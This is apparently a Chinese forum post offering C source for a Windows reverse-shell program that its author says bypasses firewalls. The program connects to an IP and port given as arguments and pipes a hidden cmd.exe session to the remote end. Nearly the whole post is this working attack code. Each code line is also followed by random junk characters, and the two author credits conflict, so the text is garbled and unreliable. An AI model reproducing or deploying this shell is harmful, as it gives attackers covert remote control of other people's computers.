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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 yV2e5/i  
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/* ============================== gyFr"9';c  
Rebound port in Windows NT \Z'/+}^h  
By wind,2006/7 shzG Eb  
===============================*/ tah }^  
#include D2]ZMDL.  
#include }I'^./za  
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#pragma comment(lib,"wsock32.lib") CIy^`2wq  
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void OutputShell(); u(Rk'7k  
SOCKET sClient; 2LZS|fB9o  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; MQ9vPgh  
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void main(int argc,char **argv) NWaO_sm  
{ Z'ao[CG  
WSADATA stWsaData; 7_%2xewV|  
int nRet; .)t (:)*b  
SOCKADDR_IN stSaiClient,stSaiServer; {2 EMz|&8  
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if(argc != 3) 9 rS, ?  
{ Z /h|\SyJ  
printf("Useage:\n\rRebound DestIP DestPort\n"); 0 Z8/R  
return; Q1]Wo9j  
} i*68-n  
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WSAStartup(MAKEWORD(2,2),&stWsaData); BV1u,<T"  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); u GAh7Sop  
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stSaiClient.sin_family = AF_INET; 3Y(9\}E@`  
stSaiClient.sin_port = htons(0); ofK='G .  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); hLo>R'@uN  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) qy&\Xgn;GA  
{ J'Gm7h{   
printf("Bind Socket Failed!\n"); P9s_2KOF  
return; 'e85s%ru  
} 8$m1eQ`{  
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stSaiServer.sin_family = AF_INET; v8  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); \OA L Or  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); Ih3$  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) dE GX3 -  
{ 3fl7~Lw,  
printf("Connect Error!"); 506V0]`/  
return; F1J#Y$q~L  
} ydup)[n  
OutputShell(); {lMqcK  
} 2+Zti8  
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void OutputShell() k% NrL@z  
{ .jaZ|nN8`  
char szBuff[1024]; >3!DOv   
SECURITY_ATTRIBUTES stSecurityAttributes; -O%[!&`  
OSVERSIONINFO stOsversionInfo; Z'e\_C  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; cyBW0wV1  
STARTUPINFO stStartupInfo; W }Zb~[,  
char *szShell; gw J}]Tf  
PROCESS_INFORMATION stProcessInformation; (V)9s\Le_  
unsigned long lBytesRead; 7IQqN&J  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 0mVuD\#=!  
/`}6rXnw9  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); mYzcVhV  
stSecurityAttributes.lpSecurityDescriptor = 0; o6|"J%9GX  
stSecurityAttributes.bInheritHandle = TRUE; zsQF,7/}B  
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)tvc/)&A}  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); _0m}z%rI  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); F^]aC98]1  
!?6.!2  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); qsTq*G  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; "vsjen.K>  
stStartupInfo.wShowWindow = SW_HIDE; $ hoYkA  
stStartupInfo.hStdInput = hReadPipe; ,6RQvw  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; =EWD |<  
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GetVersionEx(&stOsversionInfo); l@#b;M/  
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switch(stOsversionInfo.dwPlatformId) G>JxIrN0  
{ ]`K[W&  
case 1: <ZV7|'^  
szShell = "command.com"; \QiqcD9Y  
break; _Qg{ ;  
default: %; qY  '+  
szShell = "cmd.exe"; 5c)wZ  
break; Kn. iyR  
} {o {#]fbO%  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); TG?fUD V  
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send(sClient,szMsg,77,0); 4L!e=>as"1  
while(1) [d\#[l_  
{ }^Z< dbt  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); t:disL& !E  
if(lBytesRead) 6kC)\ uy  
{ `u$24h'!  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); A>5S]  
send(sClient,szBuff,lBytesRead,0); ;2BPPZ  
} f)WPOTEY  
else /CbkqNV  
{ r &=r/k2  
lBytesRead=recv(sClient,szBuff,1024,0); WFXx70n  
if(lBytesRead<=0) break; Xz" JY  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 9'l.TcVm`,  
} kr6:{\DU:B  
} $sM]BE:  
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return; aK-N}T  
}
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